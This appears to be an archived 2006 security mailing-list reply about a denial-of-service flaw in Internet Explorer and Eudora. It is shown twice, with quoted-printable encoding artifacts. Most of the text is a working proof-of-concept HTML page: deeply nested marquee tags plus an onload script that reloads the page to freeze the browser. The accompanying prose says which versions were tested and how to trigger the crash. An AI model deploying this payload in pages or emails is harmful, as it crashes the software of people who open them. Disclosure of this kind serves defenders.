Jaroslaw Sajko
07/06/06, 18:20
Dnia 05-06-2006, pon o godzinie 09:19 +0530, Sanjay Rawat napisa=C5=82(a):
> I have seen that the exploit also freezes Eudora 6.2.1.2. I was trying to=
=20
> open the original mail in Eudora mail client and whenever I clicked on th=
e=20
> the mail , Eudora stopped responding anymore. I had to restart the applic=
ation.
>=20
> regards
> -Sanjay Rawat
Yes, it's because Eudora uses Internet_Explorer_Server component to
display the content of the email. And the previously mentioned DoS case
with the nested <marquee> tags concerns the Internet Explorer as well.=20
If you want to trigger this DoS under the IExplorer you have to include
<style></style> tags in the two separate lines and you have to refresh
the page, only second page fetch freezes the browser.=20
Tested on 6.0.2900.2180 XPSP2
Example is here:
----
<html>
<head>
<style>
</style>
</head>
<body onload=3D"javascript:window.location.reload(false)">
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><ma=
rquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marqu=
ee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee>=
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><ma=
rquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marqu=
ee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee>=
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><ma=
rquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marqu=
ee><marquee></marquee></marquee></marquee></marquee></marquee></marquee></m=
arquee></marquee></marquee></marquee></marquee></marquee></marquee></marque=
e></marquee></marquee></marquee></marquee></marquee></marquee></marquee></m=
arquee></marquee></marquee></marquee></marquee></marquee></marquee></marque=
e></marquee></marquee></marquee></marquee></marquee></marquee></marquee></m=
arquee></marquee></marquee></marquee></marquee></marquee></marquee></marque=
e></marquee></marquee></marquee></marquee></marquee></marquee></marquee></m=
arquee></marquee></marquee></marquee></marquee></marquee></marquee></marque=
e></marquee></marquee></marquee></marquee></marquee></marquee></marquee></m=
arquee></marquee>
</body>
</html>
----=20
regards,
Jarek Sajko
> I have seen that the exploit also freezes Eudora 6.2.1.2. I was trying to=
=20
> open the original mail in Eudora mail client and whenever I clicked on th=
e=20
> the mail , Eudora stopped responding anymore. I had to restart the applic=
ation.
>=20
> regards
> -Sanjay Rawat
Yes, it's because Eudora uses Internet_Explorer_Server component to
display the content of the email. And the previously mentioned DoS case
with the nested <marquee> tags concerns the Internet Explorer as well.=20
If you want to trigger this DoS under the IExplorer you have to include
<style></style> tags in the two separate lines and you have to refresh
the page, only second page fetch freezes the browser.=20
Tested on 6.0.2900.2180 XPSP2
Example is here:
----
<html>
<head>
<style>
</style>
</head>
<body onload=3D"javascript:window.location.reload(false)">
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><ma=
rquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marqu=
ee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee>=
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><ma=
rquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marqu=
ee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee>=
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><ma=
rquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marqu=
ee><marquee></marquee></marquee></marquee></marquee></marquee></marquee></m=
arquee></marquee></marquee></marquee></marquee></marquee></marquee></marque=
e></marquee></marquee></marquee></marquee></marquee></marquee></marquee></m=
arquee></marquee></marquee></marquee></marquee></marquee></marquee></marque=
e></marquee></marquee></marquee></marquee></marquee></marquee></marquee></m=
arquee></marquee></marquee></marquee></marquee></marquee></marquee></marque=
e></marquee></marquee></marquee></marquee></marquee></marquee></marquee></m=
arquee></marquee></marquee></marquee></marquee></marquee></marquee></marque=
e></marquee></marquee></marquee></marquee></marquee></marquee></marquee></m=
arquee></marquee>
</body>
</html>
----=20
regards,
Jarek Sajko